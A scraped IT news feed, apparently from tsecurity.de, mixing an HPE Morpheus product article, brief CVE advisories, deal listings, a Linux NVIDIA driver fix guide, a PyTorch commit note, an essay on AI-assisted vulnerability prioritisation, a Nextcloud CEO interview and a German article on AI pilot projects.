With version 9, HPE is introducing Morpheus Central, a federated multi-site management layer delivered as a GreenLake cloud service, with an air‑gapped on‑premises option. Morpheus Central provides a single operational view across multiple Morpheus deployments spanning data centers, regions, and cloud providers. From one console, operators can see:

  • Fleet health (healthy, warning, and critical appliances)
  • Software currency and version drift across sites
  • Cost and license utilization for the entire estate 

Morpheus 9 also adds integrated software-defined networking (SDN) based on Juniper technology, bringing policy, security, and micro‑segmentation into the same platform. HPE is pitching these capabilities as transforming Morpheus from a provisioning tool into a true enterprise control plane for hybrid infrastructure, including AI workloads.

“This is our most advanced platform for operating modern and traditional infrastructure, as well as AI workloads,” Russo said.

Distributed agentic enterprises

HPE is extending its AI strategy beyond infrastructure into daily IT operations with an expansion of HPE GreenLake Intelligence, built around an agentic mesh and a growing family of copilots. At the core is a centralized agent registry and planning service that assigns identity, governance, and policy controls to AI agents, then coordinates which specialized agents should work together to deliver a requested outcome. 

“Intelligence, which is usually trapped in products, has to move across and beyond individual products,” Russo said.

On top of this framework, HPE is rolling out multiple copilots aimed at making complex hybrid environments more manageable. A compute copilot is designed to help teams operate server infrastructure more intelligently, while a Morpheus orchestration copilot lets operators automate infrastructure using natural language. The flagship for observability is the OpsRamp Operations Copilot, which sits on GreenLake Intelligence and lets operators interact with their environment conversationally instead of hunting through dashboards, tickets, and logs. It uses frontier-scale models to reason across signals from infrastructure, applications, networks, AI services, and operations tools, surfacing related incidents, context, and recommended remediation in a single conversational view.

“Data powers intelligence, intelligence powers AI, and intelligence helps us operate it all,” Russo said. “We are now entering an era where people, systems, and agents are working together at a scale we’ve never seen before, and to do that successfully, organizations need three things: a trusted data layer, a platform for an agentic era, and intelligence embedded in day-to-day operations.”

Read more from HPE Discover 2026

]]> <![CDATA[CVE-2026-20246 | Cisco Umbrella Insights Virtual Appliance up to 3.8.3 privileges management (cisco-sa-umbrella-priv-esc-F4wJB7AU / EUVD-2026-37751)]]> https://tsecurity.de/de/3605859/sicherheitsluecken/cve-2026-20246-cisco-umbrella-insights-virtual-appliance-up-to-383-privileges-management-cisco-sa-umbrella-priv-esc-f4wjb7au-euvd-2026-37751/ https://tsecurity.de/de/3605859/sicherheitsluecken/cve-2026-20246-cisco-umbrella-insights-virtual-appliance-up-to-383-privileges-management-cisco-sa-umbrella-priv-esc-f4wjb7au-euvd-2026-37751/ Wed, 17 Jun 2026 20:53:14 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Cisco Umbrella Insights Virtual Appliance. It has been classified as critical. Impacted is an unknown function. Performing a manipulation results in improper privilege management. This vulnerability is cataloged as CVE-2026-20246. The attack must be initiated from a local position. There is no exploit available. Upgrading the affected component is recommended.]]> <![CDATA[Thermal Master P3 & Thor im Test: Diese WĂ€rmebildkameras ĂŒberraschen mit Preis und Vielseitigkeit]]> https://tsecurity.de/de/3605630/it-nachrichten/thermal-master-p3-amp-thor-im-test-diese-waermebildkameras-ueberraschen-mit-preis-und-vielseitigkeit/ https://tsecurity.de/de/3605630/it-nachrichten/thermal-master-p3-amp-thor-im-test-diese-waermebildkameras-ueberraschen-mit-preis-und-vielseitigkeit/ Wed, 17 Jun 2026 19:18:01 +0200 📰 IT Nachrichten tsecurity.de Technology, Smart Home.]]> <![CDATA['Quirky design, unbeatable speed and quality': Bambu Lab's 5-star 3D printer for beginners just dropped to an unmissable price in the 4th anniversary sale]]> https://tsecurity.de/de/3604600/it-nachrichten/quirky-design-unbeatable-speed-and-quality-bambu-labs-5-star-3d-printer-for-beginners-just-dropped-to-an-unmissable-price-in-the-4th-anniversary-sale/ https://tsecurity.de/de/3604600/it-nachrichten/quirky-design-unbeatable-speed-and-quality-bambu-labs-5-star-3d-printer-for-beginners-just-dropped-to-an-unmissable-price-in-the-4th-anniversary-sale/ Wed, 17 Jun 2026 13:33:30 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[[Guide/RFC] Fixing NVIDIA 550/580 DKMS Compilation on Kernel 7.0+ (VMA API Breakage) & Wayland USB-C D3cold Panics]]> https://tsecurity.de/de/3604363/linux-tipps/guiderfc-fixing-nvidia-550580-dkms-compilation-on-kernel-70-vma-api-breakage-wayland-usb-c-d3cold-panics/ https://tsecurity.de/de/3604363/linux-tipps/guiderfc-fixing-nvidia-550580-dkms-compilation-on-kernel-70-vma-api-breakage-wayland-usb-c-d3cold-panics/ Wed, 17 Jun 2026 12:10:20 +0200 🐧 Linux Tipps tsecurity.de

Hey everyone,

I recently hit a massive brick wall on Debian Sid/Testing when my kernel updated to 7.0+. My NVIDIA driver (550.163) completely failed to compile via DKMS, and to make matters worse, trying to hotplug my external USB-C monitor on Wayland caused my GPU to panic and the laptop fans to instantly ramp up to 100%.

Since official support for 7.0+ RC/testing kernels isn't fully here yet, I did a deep dive into the kernel source and the ACPI power states to figure out exactly what broke and how to bypass it.

I've documented the full architectural breakdown and provided a C-patch in a Gist, but here is the TL;DR:

1. The Kernel 7.0+ DKMS Breakage

Linux 7.0 completely refactored the VMA locking API. They purged the VMA_LOCK_OFFSET macro from include/linux/mm_types.h and changed the signature of __is_vma_write_locked() from 2 arguments to 1. The NVIDIA proprietary driver source (specifically nv-mmap.c) still tries to use the old API, causing GCC to abort.

The Fix: I wrote a forward-compatibility patch using #if LINUX_VERSION_CODE >= KERNEL_VERSION(7, 0, 0) to provide a synthetic VMA_LOCK_OFFSET and route the lock checks through __vma_raw_mm_seqnum().

2. The Wayland USB-C / D3cold Panic

In hybrid Optimus laptops, the USB-C DP alt-mode is physically wired to the NVIDIA dGPU. When your Wayland compositor (Niri, Sway, etc.) routes rendering through the AMD iGPU for power saving, the NVIDIA GPU enters D3cold (deep sleep). When you hotplug a monitor, the GPU wakes up, but Wayland never establishes an EGL context for it. The GPU panics, and the firmware maxes out the fans to prevent thermal damage.

The Fix: You have to force the GPU to maintain state and provide a legacy framebuffer.

  • GRUB: nvidia-drm.modeset=1 nvidia_drm.fbdev=1
  • Modprobe (/etc/modprobe.d/nvidia-pm.conf): options nvidia NVreg_DynamicPowerManagement=0x02

The Patch & Full Guide

If you are currently stuck on Kernel 7.0+ and need to get your DKMS building again, you can grab the .patch file and the auto-patching instructions for dkms.conf here:

https://gist.github.com/louzt/1c85044d5090d19223c3f5edf426a19e

Disclaimer: I am currently pinned to kernel 6.19.14 for work stability, so I am publishing this patch as an RFC (Request for Comments) based on forensic analysis. If you are on 7.0+ and apply the patch, please share your build logs in the Gist comments!

submitted by /u/Mrlou_st
[link] [comments]]]> <![CDATA[CVE-2024-38487 | Dell EMC VxRail Appliance up to 7.0.519 privileges management (dsa-2024-247 / EUVD-2024-55624)]]> https://tsecurity.de/de/3603010/sicherheitsluecken/cve-2024-38487-dell-emc-vxrail-appliance-up-to-70519-privileges-management-dsa-2024-247-euvd-2024-55624/ https://tsecurity.de/de/3603010/sicherheitsluecken/cve-2024-38487-dell-emc-vxrail-appliance-up-to-70519-privileges-management-dsa-2024-247-euvd-2024-55624/ Tue, 16 Jun 2026 21:38:42 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de critical has been identified in Dell EMC VxRail Appliance up to 7.0.519. This affects an unknown part. Executing a manipulation can lead to improper privilege management. This vulnerability is tracked as CVE-2024-38487. The attack is restricted to local execution. No exploit exists. Upgrading the affected component is recommended.]]> <![CDATA[My favorite air fryer proves you don’t need to spend loads to get great results — and it's on sale for under $70 ahead of Amazon Prime Day]]> https://tsecurity.de/de/3602543/it-nachrichten/my-favorite-air-fryer-proves-you-dont-need-to-spend-loads-to-get-great-results-and-its-on-sale-for-under-70-ahead-of-amazon-prime-day/ https://tsecurity.de/de/3602543/it-nachrichten/my-favorite-air-fryer-proves-you-dont-need-to-spend-loads-to-get-great-results-and-its-on-sale-for-under-70-ahead-of-amazon-prime-day/ Tue, 16 Jun 2026 18:32:51 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Thermal Grizzliy's New DeltaMate CPU Block MPII Is Gorgeous and Priced For 2026]]> https://tsecurity.de/de/3601596/it-nachrichten/thermal-grizzliys-new-deltamate-cpu-block-mpii-is-gorgeous-and-priced-for-2026/ https://tsecurity.de/de/3601596/it-nachrichten/thermal-grizzliys-new-deltamate-cpu-block-mpii-is-gorgeous-and-priced-for-2026/ Tue, 16 Jun 2026 13:17:40 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[trunk/8414e35518f93e2b48ebc594de2faba51dbeca83: Preserve signed zero in FX complex codegen (#185550)]]> https://tsecurity.de/de/3599609/downloads/trunk8414e35518f93e2b48ebc594de2faba51dbeca83-preserve-signed-zero-in-fx-complex-codegen-185550/ https://tsecurity.de/de/3599609/downloads/trunk8414e35518f93e2b48ebc594de2faba51dbeca83-preserve-signed-zero-in-fx-complex-codegen-185550/ Mon, 15 Jun 2026 17:48:00 +0200 đŸ’Ÿ Downloads tsecurity.de FX codegen used complex.repr when rendering complex constants into generated Python source. CPython can print zero-component values such as (-0-1e-28j), -1e-28j, or (1-0j), and parsing that source can flip the sign of a zero component. Dynamo exposes this when it traces a tensor constant containing -1e-28j through FX: the generated GraphModule reconstructs a value with the wrong signed zero, changing tensor repr and the sign of the zero imaginary result from cos().

Render complex constants with a zero real or imaginary component as complex(real, imag) through the existing recursive argument printer. Float repr preserves -0.0, so those generated constants round-trip signed zero components. Nonzero complex constants keep the existing repr() path to avoid changing the common codegen case.

Fixes #153852

Generated by my agent

Benchmark Results:

  • FX GraphModule construction with 1000 zero-component complex constants, 80 iterations x 7 repeats, median: main 3.55 ms/graph; this diff 6.77 ms/graph. This is the affected correctness path that now emits complex(real, imag) to preserve signed zero.

  • FX GraphModule construction with 1000 nonzero complex constants, same command shape, median: main 4.29 ms/graph; this diff 3.90 ms/graph. Nonzero constants remain on the existing repr() path; the difference is measurement noise.

Test Plan:

  • python test/dynamo/test_repros.py ReproTests.test_compile_complex_tensor_constant_signed_zero

  • python test/test_fx.py TestFX.test_complex_constant_codegen_preserves_signed_zero (direct run blocked locally before target test by unrelated torchvision::nms registration failure)

  • targeted TestFX.test_complex_constant_codegen_preserves_signed_zero via a torchvision import stub

  • lintrunner -a

  • git diff --check

Pull Request resolved: #185550
Approved by: https://github.com/desertfire

]]> <![CDATA[Beyond the Score: Using AI to Translate CVEs into Real-World Business Risk]]> https://tsecurity.de/de/3599546/it-security-nachrichten/beyond-the-score-using-ai-to-translate-cves-into-real-world-business-risk/ https://tsecurity.de/de/3599546/it-security-nachrichten/beyond-the-score-using-ai-to-translate-cves-into-real-world-business-risk/ Mon, 15 Jun 2026 17:25:06 +0200 📰 IT Security Nachrichten tsecurity.de Security leaders rarely struggle to gather data, but they often struggle to turn that data into something clear and meaningful for the business. In a typical week, a CISO might receive a report listing hundreds or even thousands of vulnerabilities, most of them accompanied by CVSS scores that make the entire list look urgent, while also managing the wider set of operational, regulatory, and strategic demands that already come with the role.

That difficulty becomes more obvious when the same information has to be carried into the boardroom, where the questions are rarely about CVE IDs or exploit counts in isolation. What leadership wants to understand is whether the organization’s revenue, uptime, legal exposure, or broader resilience could be affected, and how quickly those risks need to be addressed.

This is where many security programs lose momentum, because the technical view of severity does not always line up neatly with the business view of consequence. Bridging that gap has traditionally been slow, manual work, which is one reason AI is starting to matter more in vulnerability management: it can help translate technical findings into business context that is clearer, faster to act on, and easier for leadership to understand.

Why CVSS alone does not reflect real-world business risk

For years, the industry has relied on CVSS as a quick way to judge urgency, and while the framework does account for factors such as attack vector, attack complexity, and other attack requirements, the score is still calculated in isolation and often misses the conditions that shape real risk inside an organization. A CVSS 9.8 vulnerability affecting a legacy printer in a segmented branch office may look critical on paper, but it is unlikely to carry the same business impact as a 7.5 vulnerability affecting an internet-facing database that holds sensitive customer data.

One of the long-standing weaknesses of static scoring is that it tells you how severe a flaw may be in theory, but not how much disruption it could cause in your own environment, how exposed the affected asset is, or how closely it is tied to a revenue-generating or business-critical process. That is where AI becomes more useful, because it can add the missing context that helps security teams judge not just how serious a vulnerability looks, but how much it matters in practice.

Machine learning models can now process a much broader set of inputs, including attacker activity, exploit availability, internal network topology, and the business value attached to the asset or process involved. Rather than leaving teams with a static queue of scores, that creates a live view of risk shaped by reachability, exposure, and business consequence, making it easier to separate technical severity from actual organizational risk.

How AI helps connect vulnerabilities to business impact

One of the more practical ways AI can improve vulnerability management is by helping security teams connect technical findings to the parts of the business they actually affect. A vulnerability tied to an obscure IP address may not mean much on its own, but the picture changes quickly when that asset is identified as part of a regional payment system, a customer-facing portal, or a supply chain application the business depends on. That kind of asset attribution has traditionally taken time, context, and manual investigation. AI can help shorten that process by linking technical findings to business function much more quickly.

Instead of relying only on severity scores or yesterday’s alerts, AI can weigh a broader set of signals, including exploit activity, attacker behavior, asset exposure, and internal topology, which gives security teams a more grounded way to judge where risk is most likely to become operationally significant. The benefit is not simply speed, but a clearer picture of which vulnerabilities are most likely to affect revenue, uptime, or business continuity if they are left unresolved.

At the leadership level, this same approach can help turn a large volume of technical output into something more usable. Rather than forcing CISOs to manually translate thousands of low-level alerts into board-facing language, AI can support that reporting by summarizing likely business impact, highlighting where exposure is growing, and making it easier to explain how remediation work is reducing financial and operational risk.

Two vulnerabilities, two very different business outcomes

To see how this plays out in practice, it helps to compare two vulnerabilities that might appear similarly urgent in a standard scanner, but look very different once business context is added.

Vulnerability A: The ghost in the machine

A scanner flags a CVSS 9.8 critical remote code execution flaw in an aging media server. On paper, that score suggests immediate attention. Once more context is added, the picture changes. The asset sits on a segmented guest Wi-Fi VLAN, has no path to the corporate core, and has not been linked to in-the-wild exploitation for more than two years. In practical terms, the business impact is low. The issue still needs to be addressed, but it is unlikely to justify urgent remediation ahead of higher-consequence exposures.

Vulnerability B: The quiet threat

  • A second finding carries a lower CVSS 7.2 high severity score, but affects a common web framework running on the organization’s primary customer portal. When AI correlates that vulnerability with asset and business context, the risk profile changes quickly. The portal is identified as a critical business process, estimated to support $250,000 in transactions per hour, while external signals point to growing exploit interest around the same framework. In that case, the business impact is far more serious. What looks like a lower-priority technical issue becomes a potential source of revenue disruption measured in millions per day.

This is where AI-assisted prioritization becomes useful. It helps teams move beyond the assumption that the highest score always deserves the fastest response and instead focus on the vulnerabilities most likely to create operational or financial harm. In practice, that means spending less time working through a queue in score order and more time reducing the exposures that matter most to the business. 

How AI helps CISOs explain vulnerability risk in business terms

When security leaders can move beyond reporting how many patches were deployed and begin showing how exposure is changing in financial or operational terms, the conversation becomes much more useful. A reduction in mean time to remediate may matter to a security team, but it carries more weight at the leadership level when it is tied to a lower likelihood of downtime, reduced regulatory exposure, or less risk to a revenue-generating service.

When vulnerability data is tied to business context, it becomes easier to justify automation, tooling, or headcount based on their contribution to resilience, continuity, and measurable risk reduction, rather than on activity alone. At that level, the conversation is less about severity scores and more about what is exposed, what it could affect, and where action matters most.

One of the more practical benefits of AI is that it can help security teams explain risk in a way leadership can act on. Instead of adding another layer of technical output, it can support clearer reporting on why one issue matters more than another, what is most likely to affect the business, and where action should come first.

As attack surfaces expand and exploit timelines continue to shrink, the gap between technical findings and business understanding will only become harder to manage. Organizations that can connect those two views more effectively will be in a much stronger position to prioritize the right work, explain risk more clearly, and make vulnerability management a more meaningful part of business decision-making.

]]> <![CDATA[USN-8405-2: CUPS regression]]> https://tsecurity.de/de/3599388/unix-server/usn-8405-2-cups-regression/ https://tsecurity.de/de/3599388/unix-server/usn-8405-2-cups-regression/ Mon, 15 Jun 2026 16:16:09 +0200 🐧 Unix Server tsecurity.de <![CDATA[Bambu Lab's 'most impressive 3D printer' gets a big price cut in the sales — and it smashed all expectations in our workshop tests]]> https://tsecurity.de/de/3598667/it-nachrichten/bambu-labs-most-impressive-3d-printer-gets-a-big-price-cut-in-the-sales-and-it-smashed-all-expectations-in-our-workshop-tests/ https://tsecurity.de/de/3598667/it-nachrichten/bambu-labs-most-impressive-3d-printer-gets-a-big-price-cut-in-the-sales-and-it-smashed-all-expectations-in-our-workshop-tests/ Mon, 15 Jun 2026 11:47:41 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Nextcloud CEO: Open source moves from ‘a nerdy audience’ to the geopolitical stage]]> https://tsecurity.de/de/3598357/it-nachrichten/nextcloud-ceo-open-source-moves-from-a-nerdy-audience-to-the-geopolitical-stage/ https://tsecurity.de/de/3598357/it-nachrichten/nextcloud-ceo-open-source-moves-from-a-nerdy-audience-to-the-geopolitical-stage/ Mon, 15 Jun 2026 09:32:51 +0200 📰 IT Nachrichten tsecurity.de

MUNICH — Amid trans-Atlantic political and trade tensions, digital sovereignty — once a relatively niche concern — has jumped to the top of the agenda for European organizations wary of their reliance on US technology suppliers.

For many, including European Union policy makers, increased use of open source software is a key part of the answer, offering an alternative to proprietary platforms from a handful of large US vendors.

That’s the view of Frank Karlitschek, CEO of Nextcloud, the German software vendor that bills itself as an open-source alternative to software suites from the likes of Microsoft and Google. 

Nextcloud CEO Frank Karlitschek

Nextcloud CEO Frank Karlitschek speaking at the German software company’s Nextcloud Summit 2026.

Nextcloud

Karlitschek founded the company in 2016, forking OwnCloud’s open-source file-sharing software. Since then, Nextcloud has expanded its products to include a range of productivity and collaboration tools that organizations can install and run on their own servers or access via cloud providers. 

More recently, Nextcloud helped develop the Euro-Office application suite, which launched last week as an open source alternative to Microsoft Office and others, and continues to build out its Nextcloud Hub with AI assistant and agent features. The company now says revenues are growing at between 50% to 100% year over year.

Computerworld spoke to Karlitschek at Nextcloud Summit about momentum around digital sovereignty, the European Commission’s Tech Sovereignty Package proposals, and how Nextcloud hopes to evolve in the coming years.

The following interview was edited for length and clarity.

When Nextcloud launched, there was a big push in Europe away from on-premise software towards US cloud providers. How have attitudes towards open source and awareness of alternatives providers changed since then? “I’ve been doing open source since the ‘90s; at the time it was mostly for a nerdy audience — a very small group of people who really care about software and being in control. The sovereignty part was always there. It’s the core idea behind open source that you can understand what the software is doing, you can deploy it wherever you want, you can study it and change it, and so on. 

“At the time, it was very niche, and since then it’s really growing and growing. There are certain points in time that really accelerated the growth; something like the Snowden revelations, for example, or the whole discussion about GDPR and certain legislation. And then, of course, the current geopolitical situation.  

“I personally find it interesting that it grew from something that is just interesting for software developers, and now it’s on the geopolitical stage. I have meetings with big politicians who really care about it now, and I personally find it interesting that it’s increasingly understood by — I wouldn’t say the mainstream, but more and more people.

“At the beginning of Nextcloud, we mostly talked with IT managers looking for a solution; they care about how it works, the price and other things. But now we are also talking with the C-level people. It’s part of an overall strategy of a company, to say, ‘Hey, we need to look into the dependencies, we want to have a solution that fits into the strategy of the company.’

“In the past, it was like a commodity – it’s just some software, who cares? Now, it’s really part of the company strategy. That’s really interesting.”

There’s been a lot of interest around digital sovereignty over the past couple of years. To what degree is this translating into action, with organizations migrating away from US cloud providers? “The interest is gigantic. Everybody’s talking about it, we have so many contacts and people coming to us. Not everybody is doing it — a lot of people are just exploring and seeing what the options are. 

“Obviously, we hope that this will translate into actions in a few months. At the moment, it’s a lot of talking and exploring the options. As a company, we are also growing a lot in customer base.  But the interest in this space is even bigger; we see it as the beginning of a funnel.

‘In defense we see a lot of interest, then also everything around education is very important for us, then other regulated markets like the healthcare, for example. Finance is an interesting one.”

A lot of the conversations around digital sovereignty are tied to the current geopolitical situation and even the US administration. Do you see demand for sovereign technology as a structural change or are some organizations holding back to see how the situation improves in the future? “I see it as a long-term trend. If you look at the IT budgets and projects in the ‘90s, it was some something unimportant. It was, of course, important that the printer works and the fax machine works, but it was not definitely not strategic for the company. 

“And then in 2000, the whole cloud trend came up, and there was the big hope that this will save money. It was always the narrative with cloud computing that you can just outsource it and save money and it’s great. 

“Nowadays, people realize that it’s not something that you can just ignore. I wouldn’t say that everything comes back on premise, but people care about it now. They understand it’s not just a commodity, like water, or electricity that comes out of the wall and you don’t care what’s behind it. People realize that it’s something that has an impact on the future of an organization, from a vendor lock-in perspective, from a cost perspective, from an industry espionage perspective, and competitiveness. With open source, you’re more flexible. So, I think the trend that this is all more strategic and important for the future, this will go on.”

The European Commission recently published its Tech Sovereignty Package, including its open source strategy. Are these proposals sufficient to address the concern around digital sovereignty and support the open source ecosystem in Europe?

“It’s great, I really like it. I was actually surprised they listened so well. But now the real challenge is to actually do it; this still needs to happen. The description of the problem and a possible solution, this is all very good. I’m surprised, I’m happy about it, but to put this into actually binding law, this still needs happen.”

Would you like to see any changes to the current proposals before they’re gets passed into legislation? “At the moment, they have these four different risk levels, and the most critical one — No. 4 — is one where they accept only open source and European solutions. This is the highest risk level, but this is only for 1% of the market. I hope that it’s better understood that more than 1% should care about this more.

“If you have something which is completely not critical, maybe doesn’t possess any personal data at all — sure, it’s totally fine [to use non-EU suppliers]. But if you have GDPR requirements, espionage protection, no vendor lock-in, and so on, then there should be more of that [the highest requirement level].”

US firms have attempted to address European customers’ concerns in different ways, with sovereign marketed cloud services and joint ventures with European providers. Microsoft 365 Local is designed to run on premise. Where do you draw the line between what’s actually a sovereign solution and what some call ‘sovereignty washing? “Sovereignty has different dimensions, of course. But if you look at the problem of the CLOUD Act alone, which gives foreign agencies full access to the data here, then the whole idea that it’s enough to have European data centers — that’s not enough. It’s clearly written in the CLOUD Act, that even with [European] data centers, or subsidiaries, it still applies.  

“Microsoft tries to find a solution there with its Delos idea; a company that is owned by SAP — a German company — and Microsoft delivers only the software. But even then, you have this dependency, because software needs updates and software security updates. And if they’re not available, or if someone puts a backdoor into the software, which is possible, then you still have a problem. 

“So, they’re trying really, really hard to find a way around the problem, but it’s not easy for them.”

To look ahead a bit in terms of the product strategy, there were announcements for Nextcloud Hub this week around AI agents, and the program to work with independent software vendors. What do these say about Nextcloud’s future? “The overall product strategy will not change so much; it’s about having state-of-the-art collaboration software — but with a lot more control, security and safety — that’s open source and independent where you host it. So this will always stay, but of course, there’s some additional factors that come into play now, like the AI impact that we see and want to leverage with our agent strategy. 

“We’ve had this for one and a half years already, but we are expanding that. In the future, you might still use an interface in a classic way that you open documents and type in text and so on. But there are also a lot of operations that can be automated in the future with AI. And this is something we really invest a lot into. 

“Another aspect of AI is how easy it is to build custom software around it. The coding models are getting better all the time, which means there will be more and more custom business software. This is what we want to capture with our ISV program. Software development will become easier, but you don’t want to deploy just random software in your company, you want to have something that is tested, certified and secured, and that somebody’s accountable for it. This can be something we can provide at Nextcloud.”

Editor’s note: NextCloud paid for Matthew Finnegan’s travel and hotel costs for NextCloud Summit 2026, but had no editorial role in the creation of this story.

]]> <![CDATA[Welche Fehler Sie beim Aufsetzen Ihres KI-Projekts vermeiden sollten]]> https://tsecurity.de/de/3598041/it-security-nachrichten/welche-fehler-sie-beim-aufsetzen-ihres-ki-projekts-vermeiden-sollten/ https://tsecurity.de/de/3598041/it-security-nachrichten/welche-fehler-sie-beim-aufsetzen-ihres-ki-projekts-vermeiden-sollten/ Mon, 15 Jun 2026 07:05:16 +0200 📰 IT Security Nachrichten tsecurity.de

Im Sommer letzten Jahres brachte eine vielbeachtete Studie des MIT etwas NĂŒchternheit und Pragmatismus in die bis dahin euphorische KI-Branche. Der Studie zufolge konnten zum Zeitpunkt der Erhebung nur 5 Prozent aller Projekte mit generativer KI einen messbaren geschĂ€ftlichen Mehrwert nachweisen – und das obwohl die befragten Unternehmen sich sehr engagiert in Sachen KI zeigten und 90 Prozent von ihnen sich sogar ernsthaft mit der Anschaffung von KI-Produkten beschĂ€ftigt hatten.

Dem Engagement der Unternehmen tat dies keinen Abbruch. Die KI-Transformation lĂ€uft weiterhin auf Hochtouren und KI-Pilotprojekte dominieren die AktivitĂ€t von IT- und Entwicklungsabteilungen. Aktuelleren Studien zufolge ist der Anteil der KI-Projekte, die ihren angepeilten ROI erreichen oder ĂŒbertreffen, auf rund 20 Prozent angestiegen. Doch nur etwa ein Drittel aller Pilotprojekte schafft es in den Produktivbetrieb, berichten unisono Deloitte und McKinsey in entsprechenden Studien. Nur die KI-Vorreiter, etwa ein Viertel der von Deloitte befragten Unternehmen, hatten es bis zum SpĂ€tsommer 2025 geschafft, mehr als 40 Prozent ihrer KI-Projekte erfolgreich in den GeschĂ€ftsbetrieb zu integrieren.

Industry 4.0 Modern Factory: Team of Innovative Industrial Engineers Use Computer and 3D Printer to Build Complex Component. Group of Scientists Use High-Tech Machinery for Futuristic Design

Um mit agentischer KI auch das nÀchste Kapitel der KI-Innovation anzugehen, ist das Vorhandensein einer Daten- und KI-Governance eine absolute Voraussetzung.

shutterstock/Gorodenkoff

Pilotprojekte im Reality-Check

Verschiedene Studien, ebenso wie die Erfahrungen vieler Experten zeigen, dass die GrĂŒnde fĂŒr das Scheitern von KI-Pilotprojekten ĂŒber alle Branchen und UnternehmensgrĂ¶ĂŸen hinweg Ă€hnlich sind. Einer der hĂ€ufigsten Fehler besteht darin, dass KI-Projekte als Initiativen der IT-Abteilung aufgesetzt werden, ohne Absprache mit der jeweiligen Fachabteilung. Dass dies nicht gut gehen kann, versteht sich eigentlich von selbst.

„Die IT kennt die spezifischen Probleme in Fachbereichen wie Finanzen, Produktion, Vertrieb oder QualitĂ€tssicherung in der Regel nicht“, erklĂ€rt Dan Hoffmann, Product Specialist fĂŒr Data & AI bei OEDIV, einem Unternehmen der Oetker-Gruppe. „Deswegen mĂŒssen die GesprĂ€che zur Erkundung von AnwendungsfĂ€llen zwingend zusammen mit den Fachbereichen gefĂŒhrt werden. Vor allem mit den EntscheidungstrĂ€gern, die eine finanzielle Verantwortung fĂŒr ihren Bereich tragen. Denn sie sind diejenigen, die am besten einschĂ€tzen können, wie sich die Lösung eines aktuellen Problems monetĂ€r auswirken wĂŒrde.“

Ein weiterer Fehler besteht darin, sich allzu sehr von den FĂ€higkeiten großer Sprachmodelle (Large Language Models, LLMs), wie sie etwa in  ChatGPT oder Claude eingesetzt werden, blenden zu lassen. „LLMs haben zwar enorme FĂ€higkeiten, sie sind aber keine Wissensdatenbanken und besitzen auch kein LangzeitgedĂ€chtnis“, erklĂ€rt Hoffmann. „So können sie zum Beispiel plausible Ergebnisse liefern, die aber nicht zwingend richtig sind. Falsche Erwartungen gegenĂŒber solchen Modellen können zu Fehlinvestitionen und EnttĂ€uschungen fĂŒhren.“

Kein ROI ohne solides Datenfundament

Von solchen Fehlern abgesehen identifiziert Deloitte als Hauptgrund fĂŒr das Scheitern von KI-Projekten eine grundlegende Diskrepanz zwischen den Anforderungen eines Pilotprojekts und denen des Live-Betriebs. So laufen Pilotprojekte meist in einer isolierten Umgebung und arbeiten mit einem bereinigten, oft statischen Datenkontingent. Der Live-Betrieb hat hingegen ungleich höhere Anforderungen – von den nötigen Computing-Ressourcen und die LeistungsfĂ€higkeit der Dateninfrastruktur ĂŒber die Integration mit anderen Systemen bis hin zur Betriebssicherheit, Governance und Compliance.

Ein allzu klein dimensioniertes Pilotprojekt kann außerdem zu einer FehleinschĂ€tzung der tatsĂ€chlichen Betriebskosten im Live-Betrieb fĂŒhren. „Unternehmen sollte nicht den Fehler begehen, die Betriebskosten eines Prototyps als Metrik fĂŒr den Betrieb der Live-Anwendung zu nehmen“, mahnt Hoffmann. „Jeder API-Call, jeder menschliche Review-Schritt verursacht im Nachhinein Kosten, die im Rahmen des Prototyps möglicherweise so nicht angefallen sind.“ Dessen sollte man sich bewusst sein, denn bei dieser Haltung seien Folgefehler vorprogrammiert.

„Viele IT-Abteilungen nehmen fĂŒr ihr Pilotprojekt mĂ€chtige Tools und setzen damit kleinere Use Cases um, in der Hoffnung, dadurch ihr Management zu beeindrucken und ein möglichst großes Budget fĂŒr den Aufbau ihrer KI-Infrastruktur zu bekommen“, erklĂ€rt Dan Hoffmann. „Der Use Case mag als Pilotprojekt funktionieren, scheitert aber meistens bei der ÜberfĂŒhrung in den Produktivbetrieb, weil die Voraussetzungen dafĂŒr nicht erfĂŒllt sind. Am hĂ€ufigsten mangelt es an einer integrierten Datenbasis, die ĂŒber Abteilungs- und Prozessgrenzen hinweg abschließbar ist. Ohne sie ist die KI nur begrenzt nutzbar, weil sie den Gesamtkontext einer Aufgabe nicht berĂŒcksichtigen kann.“

Ohne Governance keine Kontrolle

Existiert eine KI-fĂ€hige Basisinfrastruktur nicht, schmilzt auch der angepeilte ROI sehr schnell dahin. KI-Vorreiter haben diese Notwendigkeit schon frĂŒh erkannt. In der McKinsey-Studie sagten 46 Prozent der Unternehmen, die bereits KI-Anwendungen live betreiben, dass sie ĂŒber eine zentralisierte Dateninfrastruktur und -Governance verfĂŒgen, weitere 39 Prozent haben ihre Ressourcen zu einem Großteil konsolidiert. FĂŒr die Bereiche Risikomanagement und Compliance haben sogar 57 Prozent dieser Unternehmen eine zentrale Instanz eingerichtet. Das Resultat: Unternehmen, die ihre Infrastrukturbasis den Anforderungen von KI-Anwendungen angepasst haben, profitieren am meisten von ihren KI-Projekten, indem sie ihre ProduktivitĂ€t steigern, RoutinetĂ€tigkeiten automatisieren, Betriebskosten senken, die Kundenzufriedenheit steigern und ihren Umsatz erhöhen.

Die Nutzung so vieler verschiedenartiger Daten in unternehmensweiten Prozessen setzt allerdings eine entsprechende Daten-Governance voraus. „Je stĂ€rker KI in Entscheidungen, Kommunikation oder Automatisierung eingreift, desto wichtiger wird die Frage, woher Daten stammen, wer sie sehen darf, wie aktuell sie sind und unter welchen Regeln sie verwendet werden“, erklĂ€rt Hoffmann. „Eine integrierte Datenbasis ist deshalb nicht gleichbedeutend mit einem unreglementierten Data Lake, sondern mit einer strukturierten, kontrollierbaren und nachvollziehbaren Informationsgrundlage. FĂŒr Unternehmen ist das keine reine Compliance-Frage, sondern eine Voraussetzung, um KI sicher in kritische Prozesse zu integrieren.“

